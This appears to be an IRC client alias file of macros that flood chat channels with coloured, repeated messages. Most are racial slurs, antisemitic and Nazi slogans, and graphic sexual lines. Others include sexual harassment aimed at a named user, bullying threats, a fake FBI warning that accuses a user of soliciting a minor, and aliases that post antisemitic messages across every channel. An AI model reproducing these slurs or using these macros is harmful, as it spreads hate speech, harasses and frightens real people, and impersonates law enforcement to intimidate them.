jewload = "say \0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS";
|
||||
anus = "say \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,";
|
||||
negro = "say \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFOR";
|
||||
drunk = "say \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BE";
|
||||
aids = "say \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION.";
|
||||
lips = "say \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MA";
|
||||
concentrate = "say \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME";
|
||||
mints = "say \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r";
|
||||
justin = "say \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE ";
|
||||
sunni = "say \0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3";
|
||||
edible = "say \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3";
|
||||
seminal = "say \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIR";
|
||||
viva1 = "say \0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOM";
|
||||
viva2 = "say \0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCO";
|
||||
viva3 = "say \00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT";
|
||||
viva4 = "say \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 ";
|
||||
whalevag = "say \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE";
|
||||
doganus = "say \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS";
|
||||
colon = "say \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON ";
|
||||
cake = "say \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4";
|
||||
labia = "say \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,1";
|
||||
sore = "say \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED";
|
||||
white = "say \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF T";
|
||||
ziegh = "say \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038";
|
||||
jizz = "say \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICK";
|
||||
sperm = "say \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM ";
|
||||
rocket = "say \0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED RO";
|
||||
rocket2 = "say \0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKE";
|
||||
|
||||
# {{{ ripped from chozen1 for extra_faggotry++
|
||||
love = "say \0039 I always lose control when $* by my side. You have become the light of my life. I always enjoy the time I spend with you. Because nothing makes me feel the way you do. I think I'm falling in love with $* ...";
|
||||
love2 = "me grabs $*, spins $* around and gives $* the softest sweetest kiss $* has ever had!!! :) ";
|
||||
love3 = "me \0030oO\0039Oo\0030O\0039OoO\0030Oo\0039oO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo \0034Let's \0030PLAY \0034army! \0030You \0034lay down \0030$* \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo\0030oO\0039Oo\003 \0034and I'll \0030FUCK \0034the hell out of YoU! \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO \00313o ";
|
||||
love4 = "me \0034<$N>\003 \0039grabs \0034<$*> \0039wrips of his clothes.As he lies back with \0034<$*> \0039legs straddling his face, \0034<$*> \0039delivers the earth shattering blowjob of the centuary between \0034<$*> \0039legs";
|
||||
love5 = "me \00312$* Yo\0030u can put a sm\00314ile on my face, o\00311r you can p\00312ut your c\00314um all ov\0030er it \00311!";
|
||||
love6 = "me \00312FuCk My MoUtH WiTh YoUr CoC\00314k $* WhiLe I Wa\0030Nk Myself Wi\00311Th My Han\0030d";
|
||||
|
||||
# {{{ #arab
|
||||
zGehWeg = "say geh verpuss i dich damit alter sorry ich mag dich lol.";
|
||||
rxPruegel = "me pruegelt $* mal \00313,7zaertlich\003 die treppe runter \\;<";
|
||||
rxKuschel = "me reibt sich \00313zaerlich\003 an $*";
|
||||
rxHamster = "me knabbert an $*";
|
||||
rxNag = "me nagt an $*";
|
||||
rxTroll = "say I AM THE VAN GOGH OF TROLLING AND http://ridgex.net/~tati/gb/ IS MY CANVAS SIR";
|
||||
klawd = "say qry close.";
|
||||
|
||||
# {{{ what
|
||||
comment = "say \0030,1 _______________________ ____________________ __________;say \0031,1http://a.on.nimp.org/blog.php#\0030,1[\037_Add_a_Comment_to_Blog \037] [\037 Add to del.icio.us \037] [\037 digg it! \037]";
|
||||
spiez = "say \0034,8 Channel\00312,8\002 $C \002\0034,8will now be scanned for SPIEZ ; say \0039 scan in progress, please standby... ; say \0039 scanning......; say \0039 scanning...... \0034,4++\003 \0034,4++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 Scan complete. ; say \0039 \0021\002 SPIE(Z) found:\003 \0034\002 $C $* - Please BAN;";
|
||||
matix = "say \00314,3-\0031-\0030\0039-\0030--\00311- \0039(\0030\\; \0030$* \0039O\0030: \0030:\0039D \00311-\0030--\0039-\0031-\00314-";
|
||||
blackman = "say $*: srsly, shut the fuck up or i ban you for life, from now on dont even change your fucking nick or i ban you for lyfe";
|
||||
fbi = "say NOTICE TO $*: The Federal Bureau of Investigation has logged a record of this chat along with the IP addresses of the the participants due to potential violations of U.S. Law. VIOLATION: Soliciation of a minor. ; say IMPORTANT WARNING: If you think that this chat session was logged in error, please state your reasons to the F.B.I. agent currently monitoring this chat and quote the reference number #233GHB3. Failure to do so within the next 2 hours will result in your IP and address being entered into our criminal data base and legal action.";
|
||||
ballsac3 = "say $* u flthy duchbg don use my inslts on me im srs dnt fckin mes wid me";
|
||||
ballsac4 = "say $* u filthy gonad u think ur l33+ on the internets but i bet IRL ur a puny little boi with brokken tooths and zits so dont piss me off or ill find u and beat u";
|
||||
ballsac5 = "say $* stfu fairy u donno who ur talkin to. I is >>> yuo and i beat u up with one hand tied behind my back";
|
||||
wop2 = "say \00312D]\0030:\0034)";
|
||||
wop1 = "say \00312>\0030:\0034D\003";
|
||||
vap0r19 = "say \00313*\0035(\0033:\0034)";
|
||||
dkey = "say $* you know what, screw you. i came here relieved for one of the first times in a week that my life was finaly returning to normal and you post some gay shit like that. nice compassion, jerkoff.";
|
||||
flower = "say \0034@\0039}-`-,-- \0034@\0039}-`-,--\00312,8 $* \017\0034@\0039}-`-,-- \0034@\0039}-`-,--') ";
|
||||
diss = "say \0034hard diss";
|
||||
jesusfish = "say \00314>\0037>\0038>\0038<\0037//\0038JESUS IS AWESOME\00314:\0038)\0037>";
|
||||
emo = "part $C you guys are assholes fuck you i'm leaving";
|
||||
heartiez = "say \0034<3 @\0033-\\;-- \0034 HEARTIES <3<3<3 @\0033-\\;--\003 \002$*\002 \0034<3<3<3<3 ";
|
||||
fell1 = "say \00313,11♥ ♥ ♥ ♥ ♥ ♥ ♥\0031,9$*\00313,11♥ ♥ ♥ ♥ ♥ ♥";
|
||||
fell2 = "say \0031,9♥ ♥ ♥ ♥ ♥ ♥ ♥\00313,11$*\0031,9♥ ♥ ♥ ♥ ♥ ♥";
|
||||
lunixcrew = "say \037\002\0036~x~x~\037\0033 IF You kNow MOre thaN\0039 10 \0033liNUx CoMManD, join MAH new \0034LinUX cLAn\003,\017 {{\002gA\002: \002G\002RouP \002a\002NaRchIsT}},\002\0033 \037oPEnIngs filLIN up faSt!!\037 \0036\037~x~x~\037 \0033fiRST scRIMMAGE SATUrdAy \0036\037~x~X~\037\003\002 \0037\002CLAN LEADA:\003\002 \00303E\00312\002rect_vietnam_war\002 \0037\002WEBMASTA:\002\003 \00303S\00312\002ex_wrestlin\002 \0037\002RECRUITA:\002\003 \00303S\00312\002trangling\002";
|
||||
ruin2 = "say I…AM…CAUSING…YOUR…XTERM…TO…SCROLL.…THE…CAUSE…OF…YOUR…XTERM…SCROLLING:…ME…";
|
||||
adair = "say <Adair> i cant handle this shit, $* you single handedly ruined my penispump experience, vap0r thanks for the invite but this place is too crazy...tell me when jerks have been outlawed, outie - ~Adair";
|
||||
omg = "me is blown away by the depth of $*'s statement";
|
||||
arabnet1 = "say all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
|
||||
arabnet2 = "say all privmsg $C :all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
|
||||
prion = "say LEMMIE HAVE A DIABLO SANDWICH, A DR. PEPPER. MAKE IT FAST, I'M IN A GOD DAMNED HURRY!";
|
||||
exu = "say \0038E\0037X\0038P\0037R\0038E\0037S\0038S\003 \037\0033UR\037\0039SELF \0030:\0039D\0038D\0037D\0038D\0033D\00314:\0030D\0033:\0039D\0030:\0033D\0039D\0038D\0037D";
|
||||
stratx2 = "say \00311,2sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u";
|
||||
rap = "say $* finds it hard to type because his fingers are constantly in a \\\\/\\\\/estside formation";
|
||||
